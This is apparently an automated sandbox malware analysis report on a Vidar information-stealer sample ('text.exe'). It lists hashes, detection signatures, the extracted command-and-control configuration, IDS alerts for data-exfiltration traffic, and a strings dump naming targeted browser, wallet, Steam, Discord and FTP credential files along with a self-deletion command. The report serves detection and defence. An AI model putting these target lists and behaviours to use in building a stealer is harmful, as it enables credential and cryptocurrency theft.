Windows Analysis Report
text.exe

Overview

General Information

Sample name: text.exe
Analysis ID: 1596863
MD5: 9b11a33928c2fbbe5b4d2fe5cc29d2ac
SHA1: 0c47110afa4fb1619463906448769ea40453bb38
SHA256: 76e6f014771dee8f671da1d2bfaacb1a26940da6d83b005bd81b86d9472611ac
Tags: c2exeVidaruser-Lars
Infos:

Detection

Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Vidar stealer
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Searches for specific processes (likely to inject)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found evasive API chain (date check)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Browser Started with Remote Debugging
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

AV Detection

barindex
Source: 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199819539662", "Botnet": "go2dniz"}
Source: text.exe Virustotal: Detection: 46% Perma Link
Source: text.exe ReversingLabs: Detection: 43%
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Source: text.exe Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00405FE7 CryptUnprotectData,LocalAlloc,LocalFree, 0_2_00405FE7
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040E7E9 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,GetLastError,GetProcessHeap,HeapFree, 0_2_0040E7E9
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00406062 BCryptCloseAlgorithmProvider,BCryptDestroyKey, 0_2_00406062
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040627F LocalAlloc,BCryptDecrypt,LdrInitializeThunk, 0_2_0040627F
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040609C BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey, 0_2_0040609C
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004FEA50 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,GetLastError,GetProcessHeap,HeapFree, 0_2_004FEA50

Compliance

barindex
Source: C:\Users\user\Desktop\text.exe Unpacked PE file: 0.2.text.exe.400000.0.unpack
Source: text.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\Desktop\text.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 88.99.120.106:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: Binary string: vdr1.pdb source: text.exe, text.exe, 00000000.00000002.2462698435.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000003.1717459897.0000000002130000.00000004.00001000.00020000.00000000.sdmp, text.exe, 00000000.00000002.2462388658.0000000000400000.00000040.00000001.01000000.00000003.sdmp
Source: Binary string: A{"id":1,"method":"Storage.getCookies"}|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00413C71 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose, 0_2_00413C71
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004112E8 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,LdrInitializeThunk,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose, 0_2_004112E8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00407891 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,FindNextFileA,FindClose, 0_2_00407891
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0040A69C LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 0_2_0040A69C
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00408776 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 0_2_00408776
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00411D33 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00411D33
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004013DA LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,FindNextFileA,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,LdrInitializeThunk,LdrInitializeThunk,EntryPoint,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose, 0_2_004013DA
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00406784 ExpandEnvironmentStringsA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,LdrInitializeThunk,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,LdrInitializeThunk,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 0_2_00406784
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00412BBE wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00412BBE
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00409C78 wsprintfA,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,lstrlenA,LdrInitializeThunk,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_00409C78
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00408224 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00408224
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0041269A GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 0_2_0041269A
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F848B LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_004F848B
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_0050154F wsprintfA,FindFirstFileA,memset,memset,wsprintfA,LdrInitializeThunk,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,strtok_s,memset,lstrcat,strtok_s,PathMatchSpecA,LdrInitializeThunk,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose, 0_2_0050154F
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004FA903 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose, 0_2_004FA903
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00502901 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,wsprintfA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrlen,lstrlen, 0_2_00502901
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F89DD LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindNextFileA, 0_2_004F89DD
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F69EB ExpandEnvironmentStringsA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,StrCmpCA,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,DeleteFileA,LdrInitializeThunk,LdrInitializeThunk,Sleep,LdrInitializeThunk,memset,LdrInitializeThunk,CopyFileA,DeleteFileA,memset,FindNextFileA,FindClose, 0_2_004F69EB
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F1641 LdrInitializeThunk,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,DeleteFileA,FindClose, 0_2_004F1641
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00502E25 wsprintfA,FindFirstFileA,LdrInitializeThunk,StrCmpCA,PathMatchSpecA,LdrInitializeThunk,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 0_2_00502E25
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00503ED8 SHGetFolderPathA,wsprintfA,FindFirstFileA,_mbscpy,_mbscpy,strlen,isupper,wsprintfA,_mbscpy,strlen,SHFileOperation,FindClose, 0_2_00503ED8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F9EDF wsprintfA,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,lstrlen,LdrInitializeThunk,DeleteFileA,CopyFileA,FindNextFileA,FindClose, 0_2_004F9EDF
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_004F7AF8 LdrInitializeThunk,FindFirstFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,LdrInitializeThunk,LdrInitializeThunk,CopyFileA,FindNextFileA,FindClose, 0_2_004F7AF8
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00501F9A wsprintfA,FindFirstFileA,FindNextFileA,FindClose, 0_2_00501F9A
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00411883 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 0_2_00411883
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\text.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: chrome.exe Memory has grown: Private usage: 1MB later: 42MB

Networking

barindex
Source: Network traffic Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.4:49735 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:49738 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:49760 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:49762 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:49762 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52938 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.4:49733 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52941 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52941 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52940 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52940 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 88.99.120.106:443 -> 192.168.2.4:49735
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:49737 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52942 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52942 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52936 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52936 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52937 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52937 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52944 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52944 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 88.99.120.106:443 -> 192.168.2.4:49736
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52939 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52939 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52943 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.4:52943 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52950 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52948 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52953 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52954 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52952 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52955 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52951 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52957 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52949 -> 88.99.120.106:443
Source: Network traffic Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.4:52956 -> 88.99.120.106:443
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199819539662
Source: global traffic TCP traffic: 192.168.2.4:52934 -> 1.1.1.1:53
Source: global traffic HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\text.exe Code function: 0_2_00403C79 LdrInitializeThunk,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle, 0_2_00403C79
Source: global traffic HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: tlfiyat.shopConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: chrome.exe, 00000001.00000003.1879217771.000062C8003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1878563352.000062C80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1878781138.000062C800F4C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const 